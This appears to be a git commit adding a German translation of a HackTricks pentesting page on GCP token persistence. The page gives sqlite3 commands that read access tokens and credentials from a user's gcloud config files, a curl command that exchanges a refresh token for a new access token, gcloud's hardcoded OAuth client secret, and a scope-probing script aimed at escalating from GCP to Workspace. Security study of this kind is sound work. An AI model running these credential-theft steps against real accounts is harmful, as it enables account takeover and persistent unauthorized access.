mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 22:50:43 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-s
This commit is contained in:
@@ -0,0 +1,90 @@
|
||||
# GCP - Token Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Authentifizierte Benutzertoken
|
||||
|
||||
Um das **aktuelle Token** eines Benutzers zu erhalten, können Sie Folgendes ausführen:
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
|
||||
```
|
||||
Überprüfen Sie auf dieser Seite, wie Sie **dieses Token direkt mit gcloud verwenden**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
|
||||
{{#endref}}
|
||||
|
||||
Um die Details zur **Generierung eines neuen Zugriffstokens** zu erhalten, führen Sie aus:
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
|
||||
```
|
||||
Es ist auch möglich, Refresh-Token in **`$HOME/.config/gcloud/application_default_credentials.json`** und in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** zu finden.
|
||||
|
||||
Um ein neues aktualisiertes Zugriffstoken mit dem **Refresh-Token**, der Client-ID und dem Client-Secret zu erhalten, führen Sie aus:
|
||||
```bash
|
||||
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
Die Gültigkeit der Refresh-Token kann in **Admin** > **Sicherheit** > **Google Cloud-Sitzungskontrolle** verwaltet werden, und standardmäßig ist sie auf 16 Stunden eingestellt, obwohl sie so konfiguriert werden kann, dass sie niemals abläuft:
|
||||
|
||||
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Auth-Flow
|
||||
|
||||
Der Authentifizierungsfluss bei der Verwendung von etwas wie `gcloud auth login` öffnet ein Eingabeaufforderung im Browser, und nachdem alle Berechtigungen akzeptiert wurden, sendet der Browser eine Anfrage wie diese an den von dem Tool geöffneten HTTP-Port:
|
||||
```
|
||||
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
|
||||
```
|
||||
Dann wird gcloud den Zustand und den Code mit einer fest codierten `client_id` (`32555940559.apps.googleusercontent.com`) und **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) verwenden, um die **finalen Refresh-Token-Daten** zu erhalten.
|
||||
|
||||
> [!CAUTION]
|
||||
> Beachten Sie, dass die Kommunikation mit localhost über HTTP erfolgt, sodass es möglich ist, die Daten abzufangen, um ein Refresh-Token zu erhalten. Diese Daten sind jedoch nur 1 Mal gültig, daher wäre dies nutzlos; es ist einfacher, das Refresh-Token aus der Datei zu lesen.
|
||||
|
||||
### OAuth Scopes
|
||||
|
||||
Sie finden alle Google-Scope in [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) oder erhalten sie, indem Sie ausführen:
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
|
||||
```
|
||||
Es ist möglich zu sehen, welche Scopes die Anwendung, die **`gcloud`** zur Authentifizierung verwendet, unterstützen kann, mit diesem Skript:
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
fi
|
||||
done
|
||||
```
|
||||
Nach der Ausführung wurde überprüft, dass diese App die folgenden Scopes unterstützt:
|
||||
```
|
||||
https://www.googleapis.com/auth/appengine.admin
|
||||
https://www.googleapis.com/auth/bigquery
|
||||
https://www.googleapis.com/auth/cloud-platform
|
||||
https://www.googleapis.com/auth/compute
|
||||
https://www.googleapis.com/auth/devstorage.full_control
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
```
|
||||
es ist interessant zu sehen, wie diese App den **`drive`** Scope unterstützt, der es einem Benutzer ermöglichen könnte, von GCP zu Workspace zu eskalieren, wenn es einem Angreifer gelingt, den Benutzer zu zwingen, ein Token mit diesem Scope zu generieren.
|
||||
|
||||
**Überprüfen Sie, wie Sie** [**das hier ausnutzen können**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
|
||||
|
||||
### Dienstkonten
|
||||
|
||||
Genau wie bei authentifizierten Benutzern, wenn Sie es schaffen, die **private Schlüsseldatei** eines Dienstkontos zu **kompromittieren, können Sie in der Regel so lange darauf zugreifen, wie Sie möchten**.\
|
||||
Wenn Sie jedoch das **OAuth-Token** eines Dienstkontos stehlen, kann das sogar noch interessanter sein, denn selbst wenn diese Tokens standardmäßig nur eine Stunde lang nützlich sind, bleibt das **OAuth-Token gültig, bis es abläuft, selbst wenn das Opfer den privaten API-Schlüssel löscht**.
|
||||
|
||||
### Metadaten
|
||||
|
||||
Offensichtlich können Sie, solange Sie sich in einer Maschine im GCP-Umfeld befinden, **auf das Dienstkonto zugreifen, das an dieser Maschine angehängt ist, indem Sie den Metadaten-Endpunkt kontaktieren** (beachten Sie, dass die Oauth-Tokens, auf die Sie in diesem Endpunkt zugreifen können, normalerweise durch Scopes eingeschränkt sind).
|
||||
|
||||
### Abhilfemaßnahmen
|
||||
|
||||
Einige Abhilfemaßnahmen für diese Techniken werden in [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) erklärt.
|
||||
|
||||
### Referenzen
|
||||
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user